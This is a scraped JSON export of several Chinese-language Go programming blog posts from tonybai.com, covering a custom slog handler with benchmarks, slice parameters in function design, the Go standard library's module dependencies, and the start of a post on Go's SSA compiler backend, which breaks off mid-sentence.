resetting log level to error level:\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:58:48.46785+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T21:58:48.467854+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} HandlerOptions的第三个字段ReplaceAttr有什么功用，就留给大家自己探索一下。\n除了利用HandleOptions做一些定制之外，我们也可以完全自定义Handler接口的实现，下面我们就用一个示例来说明一下。\n3. 自定义Handler接口的实现 我们来定义一个新Handler：ChanHandler，该Handler实现将日志写入channel的行为（用来模拟日志写入kafka)，我们来建立该ChanHandler：\n// github.com/bigwhite/experiments/tree/master/slog-examples/demo4/main.go type ChanHandler struct { slog.Handler ch chan []byte buf *bytes.Buffer } func (h *ChanHandler) Enabled(level slog.Level) bool { return h.Handler.Enabled(level) } func (h *ChanHandler) Handle(r slog.Record) error { err := h.Handler.Handle(r) if err != nil { return err } var nb = make([]byte, h.buf.Len()) copy(nb, h.buf.Bytes()) h.ch \u0026lt;- nb h.buf.Reset() return nil } func (h *ChanHandler) WithAttrs(as []slog.Attr) slog.Handler { return \u0026amp;ChanHandler{ buf: h.buf, ch: h.ch, Handler: h.Handler.WithAttrs(as), } } func (h *ChanHandler) WithGroup(name string) slog.Handler { return \u0026amp;ChanHandler{ buf: h.buf, ch: h.ch, Handler: h.Handler.WithGroup(name), } } func NewChanHandler(ch chan []byte) *ChanHandler { var b = make([]byte, 256) h := \u0026amp;ChanHandler{ buf: bytes.NewBuffer(b), ch: ch, } h.Handler = slog.NewJSONHandler(h.buf) return h } 我们看到ChanHandler内嵌了slog.JSONHandler，对slog.Handler接口的实现多半由内嵌的JSONHandler去完成，唯一不同的是Handle方法，这里要把JSONHandler处理完的日志copy出来并发送到channel中。下面是该demo的main函数：\n// github.com/bigwhite/experiments/tree/master/slog-examples/demo4/main.go func main() { var ch = make(chan []byte, 100) attrs := []slog.Attr{ {Key: \u0026quot;field1\u0026quot;, Value: slog.StringValue(\u0026quot;value1\u0026quot;)}, {Key: \u0026quot;field2\u0026quot;, Value: slog.StringValue(\u0026quot;value2\u0026quot;)}, } slog.SetDefault(slog.New(NewChanHandler(ch).WithAttrs(attrs))) go func() { // 模拟channel的消费者，用来消费日志 for { b := \u0026lt;-ch fmt.Println(string(b)) } }() slog.Info(\u0026quot;hello\u0026quot;, \u0026quot;name\u0026quot;, \u0026quot;Al\u0026quot;) slog.Error(\u0026quot;oops\u0026quot;, net.ErrClosed, \u0026quot;status\u0026quot;, 500) slog.LogAttrs(slog.ErrorLevel, \u0026quot;oops\u0026quot;, slog.Int(\u0026quot;status\u0026quot;, 500), slog.Any(\u0026quot;err\u0026quot;, net.ErrClosed)) time.Sleep(3 * time.Second) } 运行上述程序，我们将得到下面输出结果：\n{\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T23:09:01.358702+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;INFO\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;hello\u0026quot;,\u0026quot;field1\u0026quot;:\u0026quot;value1\u0026quot;,\u0026quot;field2\u0026quot;:\u0026quot;value2\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;Al\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T23:09:01.358836+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;field1\u0026quot;:\u0026quot;value1\u0026quot;,\u0026quot;field2\u0026quot;:\u0026quot;value2\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} {\u0026quot;time\u0026quot;:\u0026quot;2022-10-23T23:09:01.358856+08:00\u0026quot;,\u0026quot;level\u0026quot;:\u0026quot;ERROR\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;oops\u0026quot;,\u0026quot;field1\u0026quot;:\u0026quot;value1\u0026quot;,\u0026quot;field2\u0026quot;:\u0026quot;value2\u0026quot;,\u0026quot;status\u0026quot;:500,\u0026quot;err\u0026quot;:\u0026quot;use of closed network connection\u0026quot;} 4. slog的性能 我们再来看看slog的性能，我们直接使用了slog源码中自带的与zap的性能对比数据，使用benchstat工具查看对比结果如下：\n$ benchstat zapbenchmarks/zap.bench slog.bench name old time/op new time/op delta Attrs/async_discard/5_args-8 348ns ± 2% 88ns ± 2% -74.77% (p=0.008 n=5+5) Attrs/async_discard/10_args-8 570ns ± 2% 280ns ± 2% -50.94% (p=0.008 n=5+5) Attrs/async_discard/40_args-8 1.84µs ± 2% 0.91µs ± 3% -50.37% (p=0.008 n=5+5) Attrs/fastText_discard/5_args-8 476ns ± 2% 200ns ±45% -57.92% (p=0.008 n=5+5) Attrs/fastText_discard/10_args-8 822ns ± 7% 524ns ± 2% -36.27% (p=0.008 n=5+5) Attrs/fastText_discard/40_args-8 2.70µs ± 3% 2.01µs ± 3% -25.76% (p=0.008 n=5+5) name old alloc/op new alloc/op delta Attrs/async_discard/5_args-8 320B ± 0% 0B -100.00% (p=0.008 n=5+5) Attrs/async_discard/10_args-8 640B ± 0% 208B ± 0% -67.50% (p=0.008 n=5+5) Attrs/async_discard/40_args-8 2.69kB ± 0% 1.41kB ± 0% -47.64% (p=0.008 n=5+5) Attrs/fastText_discard/5_args-8 320B ± 0% 0B -100.00% (p=0.008 n=5+5) Attrs/fastText_discard/10_args-8 641B ± 0% 208B ± 0% -67.55% (p=0.008 n=5+5) Attrs/fastText_discard/40_args-8 2.70kB ± 0% 1.41kB ± 0% -47.63% (p=0.029 n=4+4) name old allocs/op new allocs/op delta Attrs/async_discard/5_args-8 1.00 ± 0% 0.00 -100.00% (p=0.008 n=5+5) Attrs/async_discard/10_args-8 1.00 ± 0% 1.00 ± 0% ~ (all equal) Attrs/async_discard/40_args-8 1.00 ± 0% 1.00 ± 0% ~ (all equal) Attrs/fastText_discard/5_args-8 1.00 ± 0% 0.00 -100.00% (p=0.008 n=5+5) Attrs/fastText_discard/10_args-8 1.00 ± 0% 1.00 ± 0% ~ (all equal) Attrs/fastText_discard/40_args-8 1.00 ± 0% 1.00 ± 0% ~ (all equal) 我们看到，slog的性能相对于本就以高性能著称的zap还要好上不少，内存分配也减少很多。\n5. 小结 通过对slog的初步探索，感觉slog整体上借鉴了zap等第三方log包的设计，都采用前后端分离的策略，但似乎又比zap好理解一些。\n前面示例中提到了使用起来很方便的前端API，谈到了slog的高性能，slog设计目标中与runtime tracing集成在proposal中提及不多，更多谈到的是其与context.Context的集成(通过slog.WithContext和slog.FromContext等)，也许这就是与runtime tracing集成的基础吧。\nJonathan Amsterdam在proposal也提到过，每个第三方log包都有其特点，不指望slog能替换掉所有第三方log包，只是希望slog能与第三方log包充分交互，实现每个程序有一个共同的 “后端”。 一个有许多依赖关系的应用程序可能会发现，它已经连接了许多日志包。如果所有的包都支持slog提出的Handler接口，那么应用程序就可以创建一个单一的Handler并为每个日志库安装一次，以便在其所有的依赖中获得一致的日志。\n个人观点：等slog加入标准库后，新项目推荐使用slog。\n本文涉及的示例代码可以在这里下载。\n6. 参考资料 Proposal: Structured Logging review – https://go-review.googlesource.com/c/proposal/+/444415/3/design/56345-structured-logging.md discussion: structured, leveled logging – https://github.com/golang/go/discussions/54763 proposal: log/slog: structured, leveled logging – https://github.com/golang/go/issues/56345 slog实验性实现 – https://github.com/golang/exp/tree/master/slog logr – https://github.com/go-logr/logr Go Logging Design Proposal – Ross Light – https://docs.google.com/document/d/1nFRxQ5SJVPpIBWTFHV-q5lBYiwGrfCMkESFGNzsrvBU/edit Standardization around logging and related concerns – https://groups.google.com/g/golang-dev/c/F3l9Iz1JX4g/m/t0J0loRaDQAJ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/10/30/first-exploration-of-slog/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/first-exploration-of-slog-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/10/30/first-exploration-of-slog\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/10/30/first-exploration-of-slog\"\u003ehttps://tonybai.com/2022/10/30/first-exploration-of-slog\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eGo自诞生以来就在其\u003ca href=\"https://tonybai.com/2022/10/25/the-modules-that-go-standard-library-depend-on\"\u003e标准库\u003c/a\u003e内置了log包作为Go源码\u003ca href=\"https://tonybai.com/2022/03/05/go-logging-practice\"\u003e输出日志\u003c/a\u003e的标准组件，该包被广泛应用于Go标准库自身以及Go社区项目中。\u003c/p\u003e\n\u003cp\u003e不过，针对Go标准库log包，Go社区要求改进的声音始终不断，主流声音聚焦在以下几点：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003elog包是为了方便人类可读而设计的，不支持便于机器解析的结构化日志(比如\u003ca href=\"https://tonybai.com/2021/07/14/uber-zap-advanced-usage\"\u003e像zap那样输出json格式的日志\u003c/a\u003e)；\u003c/li\u003e\n\u003cli\u003e不支持日志级别(log level)；\u003c/li\u003e\n\u003cli\u003elog包采用专有日志输出格式，又没有提供可供Go社区共同遵循的Logger接口类型，导致Go社区项目使用的log输出格式五花八门，相互之间又难以兼容。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eGo社区曾经\u003ca href=\"https://groups.google.com/g/golang-dev/c/F3l9Iz1JX4g/m/t0J0loRaDQAJ\"\u003e尝试过合力改进标准库log包\u003c/a\u003e，并\u003ca href=\"https://docs.google.com/document/d/1nFRxQ5SJVPpIBWTFHV-q5lBYiwGrfCMkESFGNzsrvBU/edit\"\u003e撰写了Proposal设计初稿\u003c/a\u003e，但最终因各种原因都没有被Go核心团队接受。\u003c/p\u003e","title":"slog：Go官方版结构化日志包"},{"content":"\n本文永久链接 – https://tonybai.com/2022/10/27/when-encountering-slice-during-function-design\n切片(slice)是Go语言中的一种重要的也是最常用的同构数据类型。在Go语言编码过程中，我们多数情况下会使用slice替代数组，一来是因为其动态可扩展，二来在多数场合传递slice的开销要比传递数组要小(这里有一些例外)。\n切片算是“半个”零值可用的类型，为什么这么说呢？\n当我们声明一个切片类型实例但在未显式初始化的情况下，我们不能直接对其做下标操作，比如：\nvar sl []int sl[0] = 5 // 错误：引发panic 但是我们可以通过Go内置的append函数对其进行追加操作，即便sl目前的值为nil：\nvar sl []int sl = append(sl, 5) // ok 到这里，我要提出本文要讨论的topic了：为什么append函数要通过返回值返回切片结果呢？再泛化一点：当你在函数设计环节遇到要传入传出切片类型时，你会如何设计函数的参数与返回值呢？下面我们就来探讨一下。\n我们在$GOROOT/src/builtin/builtin.go中找到了append预置函数的原型：\nfunc append(slice []Type, elems ...Type) []Type 显然参照“append”函数的设计，通过参数传入slice，通过返回值传出更新过的切片肯定是一个正确的方案，比如下面的第一版MyAppend函数：\nfunc myAppend1(sl []int, elems ...int) []int { return append(sl, elems...) } func main() { var in = []int{1, 2, 3} fmt.Println(\u0026quot;in slice:\u0026quot;, in) // 输出：in slice: [1 2 3] fmt.Println(\u0026quot;out slice:\u0026quot;, myAppend1(in, 4, 5, 6)) // 输出：out slice: [1 2 3 4 5 6] } 到这里，有些初学者会提出：切片不是动态数组吗？是不是可以既作为输入参数，又兼作输出参数呢？我理解提出这个问题的小伙伴们希望设计出像下面这样的函数原型：\nfunc myAppend2(sl []int, elems ...int) 这里sl作为输入参数传入myAppend2，然后在myAppend2对其进行update后，myAppend2函数的调用者将得到更新后的sl。但实际情况是这样的吗？我们来看一下：\nfunc myAppend2(sl []int, elems ...int) { sl = append(sl, elems...) } func main() { var inOut = []int{1, 2, 3} fmt.Println(\u0026quot;in slice:\u0026quot;, inOut) myAppend2(inOut, 4, 5, 6) fmt.Println(\u0026quot;out slice:\u0026quot;, inOut) } 运行这段程序，我们得到如下结果：\nin slice: [1 2 3] out slice: [1 2 3] 我们看到myAppend2并未如我们预期的那样工作，传入的切片并未在myAppend2中得到预期的更新，这是为什么呢？首先这是与切片在运行时的表示有关的。在我的专栏和《Go语言精进之路》一书中都有对切片在运行时表示的细致讲解，这里简单说说：\n切片在运行时由三个字段构成，reflect包中有切片在类型系统中表示的对应的定义：\n// $GOROOT/src/reflect/value.go type SliceHeader struct { Data uintptr // 指向底层数组的指针 Len int // 切片长度 Cap int // 切片容量 } 此外，Go函数采用“值拷贝”的参数传递方式，这意味着myAppend2传递的切片sl实质上仅仅传递的是切片“描述符” – SliceHeader。myAppend2函数体内改变的是形参sl的各个字段的值，但myAppend2的实参并未受到任何影响，即执行完myAppend2后，inOut的len和cap依旧保持不变，而其底层数组是否改变了呢？在这个例子中肯定是“改变”了，但改变的是inOut长度(len)范围之外，cap之内的元素，通过对inOut的常规访问是无法获取到这些元素的。\n那么我们该如何让slice作为in/out参数呢？答案是使用指向切片的指针，我们来看下面例子：\nfunc myAppend3(sl *[]int, elems ...int) { (*sl) = append(*sl, elems...) } func main() { var inOut = []int{1, 2, 3} fmt.Println(\u0026quot;in slice:\u0026quot;, inOut) // in slice: [1 2 3] myAppend3(\u0026amp;inOut, 4, 5, 6) fmt.Println(\u0026quot;out slice:\u0026quot;, inOut) // out slice: [1 2 3 4 5 6] } 我们看到myAppend3函数使用*[]int类型的形参的确解决了切片参数作为输入输出参数的问题：myAppend3对切片的更改操作都反映到inOut变量所代表的这个slice上了，即便在myAppend3内切片进行了动态扩容，inOut也能“捕捉”到这点。\n不过我在Go标准库中查找了一下，使用指向切片的指针作为参数的函数“少得可怜”：\n$grep \u0026quot;*\\[\\]\u0026quot; */*go|grep func grep: cmd/cgo: Is a directory grep: cmd/go: Is a directory grep: runtime/cgo: Is a directory log/log.go:func itoa(buf *[]byte, i int, wid int) { log/log.go:func (l *Logger) formatHeader(buf *[]byte, t time.Time, file string, line int) { regexp/onepass.go:func mergeRuneSets(leftRunes, rightRunes *[]rune, leftPC, rightPC uint32) ([]rune, []uint32) { regexp/onepass.go: extend := func(newLow *int, newArray *[]rune, pc uint32) bool { runtime/mstats.go:func readGCStats(pauses *[]uint64) { runtime/mstats.go:func readGCStats_m(pauses *[]uint64) { runtime/proc.go:func saveAncestors(callergp *g) *[]ancestorInfo { 综上，当我们在函数设计时遇到切片类型数据时，如果要对切片做更新操作，优先还是要参考append函数的设计方案，即通过切片作为输入参数和返回值的方式实现该操作逻辑，必要时也可以使用指向切片的指针的方式传递切片，就像myAppend3那样。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/10/27/when-encountering-slice-during-function-design/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/when-encountering-slice-during-function-design-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/10/27/when-encountering-slice-during-function-design\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/10/27/when-encountering-slice-during-function-design\"\u003ehttps://tonybai.com/2022/10/27/when-encountering-slice-during-function-design\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e切片(slice)是Go语言中的一种重要的也是最常用的同构数据类型。在Go语言编码过程中，我们多数情况下会使用slice替代数组，一来是因为其动态可扩展，二来在多数场合传递slice的开销要比传递数组要小(\u003ca href=\"https://tonybai.com/2022/03/19/for-range-vs-classic-for-loop-when-iterating-large-array\"\u003e这里有一些例外\u003c/a\u003e)。\u003c/p\u003e","title":"当函数设计遇到切片"},{"content":"\n本文永久链接 – https://tonybai.com/2022/10/25/the-modules-that-go-standard-library-depend-on\n对于程序员来说，编写的代码依赖标准库是“天经地义”的事情。标准库在程序员眼中就是高质量的代名词，也是最值得信赖的非自己所写的代码，当然更是代码包依赖关系链条上的最后一环，即所有直接或间接依赖的第三方module最终都会依赖标准库。\n前两天组内学习rust的小伙伴说rust的标准库还依赖第三方库(注：我对rust了解不深，尚未证实)，这引发了我的一个疑问: Go标准库是否依赖其他modules呢？在这一短篇中，我就来探究一下\n注：本文使用的Go版本为Go 1.19。\n众所周知，Go于1.11版本引入go modules，如今Go module已经完全替代掉原先的gopath构建模式，成为了Go源码的标准构建模式。\n相应的，Go标准库也在Go 1.13版本中采用了Go module构建，加入了go.mod文件，第一版标准库的go.mod文件内容如下：\nmodule std go 1.12 require ( golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8 golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7 golang.org/x/sys v0.0.0-20190529130038-5219a1e1c5f8 // indirect golang.org/x/text v0.3.2 // indirect ) 我们看到Go标准库的module path为std。不过就像开篇说的那样，很多gopher认为标准库应该是依赖链的末端，但从go.mod文件的内容来看，Go标准库也有自己的依赖。\n我们再来看看Go 1.19版本中go.mod的内容：\nmodule std go 1.19 require ( golang.org/x/crypto v0.0.0-20220516162934-403b01795ae8 golang.org/x/net v0.0.0-20220517181318-183a9ca12b87 ) require ( golang.org/x/sys v0.0.0-20220614162138-6c1b26c55098 // indirect golang.org/x/text v0.3.8-0.20220509174342-b4bca84b0361 // indirect ) 我们看到：和Go 1.13版本相比，Go标准库的go.mod将直接依赖和间接依赖(也叫传递依赖)分开放在不同的require block中，这是因为Go 1.17版本增加的module依赖图修剪特性。\n但从Go标准库依赖的modules来看，和Go 1.13相比，Go标准库依赖的modules并没有变化。\nGo标准库依赖的是什么modules呢？我们看到其依赖的module都在golang.org/x这个路径下，这是Go核心团队自己维护的非标准库module的Canonical import paths的前缀路径。golang.org/x这个前缀路径下的包有不少，如下图所示：\n其中，主要的可以被import的功能module包括：\ncrypto：额外的密码学软件包 image：额外的图像处理包 net：额外的网络相关处理包 sync：额外的并发同步原语包 sys：用于进行系统调用的软件包 text：用于处理文本的软件包 time：额外的时间处理相关包 exp：实验性(experimental)的和废弃的(deprecated)软件包 注：exp下面的包尽量不用，或务必谨慎使用，这里实验性包居多，API接口和具体实现变化可能性很大。还有一些是废弃不再维护的。\n那Go标准库为什么会直接依赖crypto和net这两个modules呢？\n我的理解是网络与密码学是两个变化较快的领域，同时也是两个十分重要的领域，尤其是在如今对安全十分重视的云原生时代。一些新的密码学算法、网络技术规范(RFC)在不断的出现并持续演进，这些技术在未成熟前尚不适合放入标准库，那么在标准库之外由Go核心团队维护一个“与时俱进”的库就十分必要。等成熟后，在标准库中设计并提供稳定接口并引用golang.org/x/abc下的实现就可以很快实现对某成熟网络技术或密码学技术的稳定支持，当年Go 1.6版本对http/2的支持就是这么做的。\n那么Go标准库都依赖了哪些具体的包了呢？我们可以看一下\\$GOROOT/src/vendor下面的modules.txt：\n# golang.org/x/crypto v0.0.0-20220516162934-403b01795ae8 ## explicit; go 1.17 golang.org/x/crypto/chacha20 golang.org/x/crypto/chacha20poly1305 golang.org/x/crypto/cryptobyte golang.org/x/crypto/cryptobyte/asn1 golang.org/x/crypto/curve25519 golang.org/x/crypto/curve25519/internal/field golang.org/x/crypto/hkdf golang.org/x/crypto/internal/poly1305 golang.org/x/crypto/internal/subtle # golang.org/x/net v0.0.0-20220517181318-183a9ca12b87 ## explicit; go 1.17 golang.org/x/net/dns/dnsmessage golang.org/x/net/http/httpguts golang.org/x/net/http/httpproxy golang.org/x/net/http2/hpack golang.org/x/net/idna golang.org/x/net/lif golang.org/x/net/nettest golang.org/x/net/route # golang.org/x/sys v0.0.0-20220614162138-6c1b26c55098 ## explicit; go 1.17 golang.org/x/sys/cpu # golang.org/x/text v0.3.8-0.20220509174342-b4bca84b0361 ## explicit; go 1.17 golang.org/x/text/secure/bidirule golang.org/x/text/transform golang.org/x/text/unicode/bidi golang.org/x/text/unicode/norm modules.txt是go mod vendor命令生成的，也是项目依赖包的完全列表，包括间接依赖的包。\n我们可以通过go mod why命令查询为什么标准库要依赖这些module以及package，以golang.org/x/crypto这个module为例：\n$go mod why -m golang.org/x/crypto # golang.org/x/crypto crypto/tls golang.org/x/crypto/chacha20poly1305 我们看到是crypto/tls包依赖了golang.org/x/crypto这个module，但why只会输出标准库中依赖x/crypto module的一个包而已，并非全部。同理我们也可以查看modules.txt某个具体的包为何要被依赖，以golang.org/x/net/dns/dnsmessage为例：\n$go mod why golang.org/x/net/dns/dnsmessage # golang.org/x/net/dns/dnsmessage net golang.org/x/net/dns/dnsmessage 我们看到net包依赖了dnsmessage这个包。\n综上，我们知道了Go标准库也是会依赖的，但其依赖的module被严格限制在Go核心团队自己维护的golang.org/x下面的少数module，因此我们依然可以完全信任Go标准库，相信后续Go标准库也会一直保证实现的高质量。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/10/25/the-modules-that-go-standard-library-depend-on/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-modules-that-go-standard-library-depend-on-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/10/25/the-modules-that-go-standard-library-depend-on\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/10/25/the-modules-that-go-standard-library-depend-on\"\u003ehttps://tonybai.com/2022/10/25/the-modules-that-go-standard-library-depend-on\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e对于程序员来说，编写的代码依赖标准库是“天经地义”的事情。标准库在程序员眼中就是高质量的代名词，也是最值得信赖的非自己所写的代码，当然更是代码包依赖关系链条上的最后一环，即所有直接或间接依赖的第三方module最终都会依赖标准库。\u003c/p\u003e","title":"Go标准库依赖的那些modules"},{"content":"\n本文永久链接 – https://tonybai.com/2022/10/21/understand-go-ssa-by-example\n在上一篇文章《通过实例理解Go内联优化》中，我们探讨了Go编译器在编译中端进行的内联优化。内联优化基于IR中间表示进行，不过Go编译过程不止有一种IR表示，这点和龙书《编译原理(第二版)》的在第六章“中间代码生成”一开始处的讲解是一致的，即在将给定源语言的一个程序翻译成特定的目标机器代码的过程中，一个编译器可能构造出一系列中间表示(IR)，如下图：\n高层中间表示更接近于源语言，而低层的中间表示则更接近于目标机器。在Go编译过程中，如果说内联优化使用的IR是高层中间表示，那么低层中间表示非支持静态单赋值(SSA)的中间代码形式莫属。\n在这一篇中，我们将沿着Go编译器的后端优化之路继续走下去，我们来认识一下静态单赋值(SSA)。\n1. 静态单赋值(SSA)的历史 静态单赋值(Static Single Assignment，SSA)，也有称为Single Static Assignment的，是一种中间代码的表示形式(IR)，或者说是某种中间代码所具备的属性，它是由IBM的三位研究员：Barry K. Rosen、Mark N. Wegman和F. Kenneth Zadeck于1988年提出的。\n具有SSA属性的IR都具有这样的特征：\n每个变量在使用前都需要被定义 每个变量被精确地赋值一次(使得一个变量的值与它在程序中的位置无关) 下面是一个简单的例子(伪代码)：\ny = 1 y = 2 x = y 转换为SSA形式为：\ny1 = 1 y2 = 2 x1 = y2 我们看到由于SSA要求每个变量只能赋值一次，因此在转换为SSA后，变量y用y1和y2来表示，后面的序号越大，表明y的版本越新。从这一段三行的代码我们也可以看到，在SSA层面，y1 = 1这行代码就是一行死代码(dead code)，即对结果不会产生影响的代码，可以在中间代码优化时被移除掉。\n1991年，同样来自IBM研究院的Ron Cytron和Jeanne Ferrante以及前面的三位研究员又一起给出了构建SSA的快速算法，这进一步推动了SSA在编译器领域的快速应用。\nSSA的提出以及后续的流行正是因为SSA形式中间代码具有很好的优化空间，基于SSA可以开启一些新的编译器优化算法或增强现有的优化算法，因此自SSA提出后，各种主流语言编译器后端均逐渐开始支持SSA，包括GCC、llvm、hotspot JVM、v8 js等。SSA也成为了一种IR表示的事实标准。\n那么Go语言是何时开始与SSA结缘的呢？我们继续往下看。\n2. Go与SSA 相对于GCC、LLVM，Go编译器还相对年轻，因此SSA加入Go的时间还不算太长。\nGo SSA的工作始于Go 1.5版本实现自举之前，2015年2月初，负责编译器后端的Go团队核心成员的Keith Randall博士就在golang-dev google group上提出要让Go支持SSA的工作计划：\n“我想从目前基于语法树的IR转换到更现代的基于SSA的IR。有了SSA IR，我们可以实现很多在当前编译器中难以做到的优化” - Keith Randall 同期，Keith Randall博士还编写了“New SSA Backend for the Go Compiler”文档，具体介绍了Go要支持SSA的理由以及分几步走的实现方案。\n在为什么选择自己实现SSA IR，而不是转换为当时现成的诸如gcc, llvm等支持的IR形式并利用成熟后端进行中间代码优化这个问题上，Keith Randall博士给出了三点理由：\n从Go编译速度考虑：Go团队和社区对编译速度有着格外的青睐，Randall的目标是设计一个线性时间的SSA算法，实现快速SSA优化，但gcc, llmv等IR显然没有在速度方面给予额外的考虑；\n从功能完整性上考虑：Go运行时需要精确的栈帧地图(the map of stack frame)，用来支持GC和栈拷贝，这些在gcc, llvm中都不会提供；\n从Go核心开发者的编译器使用体验方面考虑：如果使用llvm、gcc等ir，显然Go核心开发人员在编译go的时候还需要依赖llvm或gcc，这种额外的依赖对他们来说很难说是体验友好的。\n2016年3月1日，在Go 1.7版本的master分支提交权限刚刚打开之后，Keith Randall就将支持ssa的dev.ssa分支合并到Go项目主线中了。\n在Go 1.7版本中，Go正式支持SSA，不过由于时间有限，Go 1.7 SSA仅支持针对amd64架构的优化。即便如此，Go支持SSA后，Keith Randall的benchmark显示性能提升12%，代码段缩小13%：\n图：go 1.7 benchmark(图来自keith博士的slide)\nGo 1.7正式发布时，其发布文档称Go程序的性能因对SSA的支持而提升5%-35%以上。由此看，Go SSA的实现达到了Keith Randall博士的预期目标，也为Go编译器后续的持续优化奠定了基础。\n在2017年2月发布的Go 1.8版本中，Go 